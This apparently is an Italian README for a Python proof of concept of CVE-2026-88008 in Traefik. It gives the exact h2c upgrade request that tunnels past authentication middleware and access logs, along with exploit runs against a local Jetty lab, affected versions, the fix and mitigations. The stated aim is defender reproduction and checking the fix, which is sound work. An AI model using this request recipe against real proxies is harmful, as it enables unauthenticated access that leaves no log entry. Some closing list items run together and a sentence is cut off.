PoC Python basato solo sulla libreria standard per CVE-2026-88008: sfrutta l'inoltro dell'upgrade h2c di Traefik per creare un tunnel oltre i router e il middleware di autenticazione, con un laboratorio Jetty h2c per la verifica della correzione.
Affected: Traefik 2.11.26 → 2.11.56 e 3.7.0 → 3.7.12
Fixed: 2.11.57 / 3.7.13 — commit a277e946 "Do not forward h2c upgrade headers to the backend"
Advisory: GHSA-w4v4-9rw7-5326 · CVSS 9.1
Class: CWE-444 (request smuggling / interpretazione incoerente) + CWE-863 (autorizzazione errata)
Il reverse proxy HTTP di Traefik riaggiunge la coppia Connection: Upgrade /
Upgrade: h2c del client durante il proxying e inoltra anche l'header
HTTP2-Settings. Un upstream che implementa l'handshake di upgrade h2c secondo
RFC 7540 §3.2 risponde 101 Switching Protocols; a quel punto httputil.ReverseProxy
di Go passa a un tunnel di byte grezzi. Tutto ciò che segue sulla connessione è
HTTP/2 diretto al backend: i router e i middleware di Traefik (BasicAuth, ForwardAuth,
IPAllowList, RateLimit) non vengono mai consultati, e il traffico non viene
registrato nei log di accesso, misurato né tracciato.
La forma della richiesta che fa sì che Traefik inoltri tutti e tre gli elementi:
GET /public.html HTTP/1.1
Host: target
Connection: Upgrade # HTTP2-Settings deliberately NOT listed here
Upgrade: h2c
HTTP2-Settings: AAMAAABkAAQAAP__
HTTP2-Settings deve restare fuori dall'elenco dei token di Connection, perché il reverse proxy di Go elimina ogni header nominato in Connection prima di effettuare il proxy — elencarlo lì rimuove l'header delle impostazioni e l'upstream rifiuta l'upgrade. Nominare solo Upgrade mantiene vivo l'header mentre Go continua comunque a riaggiungere la coppia Connection: Upgrade / Upgrade: h2c. Misurato sul proxy reale:
# what the upstream received through vulnerable v3.7.12
GET /vuln-probe.html HTTP/1.1
Host: lab
Connection: Upgrade
Http2-Settings: AAMAAABkAAQAAP__
Upgrade: h2c
# through fixed v3.7.13
GET /fix-probe.html HTTP/1.1
Host: lab
# -> no Connection, no Upgrade, no Http2-Settings
La correzione (pkg/server/service/upgrade.go) avvolge il reverse proxy in un
h2cUpgradeHandler che elimina Upgrade (quando Connection contiene il
token Upgrade e il valore è h2c) ed elimina sempre Http2-Settings.
# vulnerable target: assert the bypass
python3 poc.py exploit --url http://127.0.0.1:8083
# fixed/control target: assert the upgrade is refused and the path stays protected
python3 poc.py check --url http://127.0.0.1:8084
Il PoC usa solo la libreria standard, apre l'upgrade su un percorso non protetto e — una volta stabilito il tunnel — parla HTTP/2 (frame grezzi, HPACK minimale) per recuperare il percorso protetto dal middleware senza alcuna credenziale. Lo stream 1 della nuova connessione HTTP/2 è la richiesta di upgrade riprodotta (RFC 7540 §3.2); il PoC la svuota e poi invia la propria richiesta come stream 3.
Lab: container reali traefik:v3.7.12 e traefik:v3.7.13, e un upstream Jetty 12
reale con HTTP/2 in chiaro (--add-modules=http2c) che serve un documento protetto da un
middleware basicAuth. Procedura: lab/README.md.
$ python3 poc.py exploit --url http://127.0.0.1:8083 # Traefik v3.7.12
[*] target : http://127.0.0.1:8083
[*] public path : /public.html
[*] protected path: /protected.html
[*] baseline: GET /protected.html without credentials -> HTTP 401
[*] upgrade request -> HTTP/1.1 101 Switching Protocols
[*] stream 1 (replayed upgrade request) body: 'PUBLIC-OK'
[*] tunnel frames : 1:3:4 0:3:0 0:3:1
[+] content served over the unauthorised tunnel:
PROTECTED-CONTENT-OK
=> PASS (unauthenticated access to /protected.html through the h2c tunnel; Traefik's routers/middlewares were never applied to this request)
$ python3 poc.py check --url http://127.0.0.1:8084 # Traefik v3.7.13
[*] baseline: GET /protected.html without credentials -> HTTP 401
[*] upgrade request -> HTTP/1.1 200 OK
=> PASS (control: upgrade not forwarded and the protected path still requires auth)
$ python3 poc.py exploit --url http://127.0.0.1:8084
[*] upgrade request -> HTTP/1.1 200 OK
=> FAIL (upgrade refused - no h2c tunnel, target is not vulnerable / is fixed)
Il log di accesso di Traefik relativo all'esecuzione vulnerabile mostra la superficie di smuggling: la richiesta di upgrade viene registrata con uno stato dirottato (0), e il documento protetto recuperato dal tunnel non ha alcuna voce — il bypass è invisibile al logging degli accessi:
"GET /protected.html HTTP/1.1" 401 17 ... "prot@file" <- our baseline check
"GET /public.html HTTP/1.1" 0 0 ... "pub@file" 7ms <- the upgrade request (tunnelled)
<- the tunneled protected fetch: nothing logged
Il bypass necessita di un upstream che accetti l'upgrade h2c così come Traefik lo inoltra, ovvero con Connection: Upgrade, Upgrade: h2c e un header HTTP2-Settings ma senza richiedere il token HTTP2-Settings all'interno di Connection.
Verificati come accettanti:
http2c (UPGRADE: h2c + header settings è
sufficiente) — questo è l'upstream utilizzato nel lab.Verificati come rifiutanti (richiedono inoltre la lista di token
Connection: Upgrade, HTTP2-Settings conforme allo standard RFC, che Traefik non può fornire
poiché il reverse proxy di Go rimuove gli header nominati in Connection):
mod_http2 — registra AH03086: upgrade without HTTP2-Settings declinedgolang.org/x/net/http2/h2c di Go — la sua isH2CUpgrade() richiede il
token HTTP2-Settings in ConnectionPertanto l'insieme delle vittime raggiungibili è costituito da upstream con un controllo di upgrade h2c permissivo (i servizi Java su Jetty rappresentano il caso comune), non da ogni backend. Il bug lato proxy e il confine della correzione sono incondizionati, ed è per questo che il vendor l'ha rilasciata.
Upgrade: h2c) e disabilitare il supporto all'upgrade h2c
negli upstream (Protocols http/1.1 in Apache, nessun modulo http2c in
Jetty) — lo stesso flag elimina anche le advisory correlate di questa famiglia
(bypass digestAuth CVE-2026-85595, desync CONNECT CVE-2026-71324).CVE pubblico con una correzione pubblica del vendor; questo repository è una riproduzione indipendente per i difensori e per verificare il confine della correzione.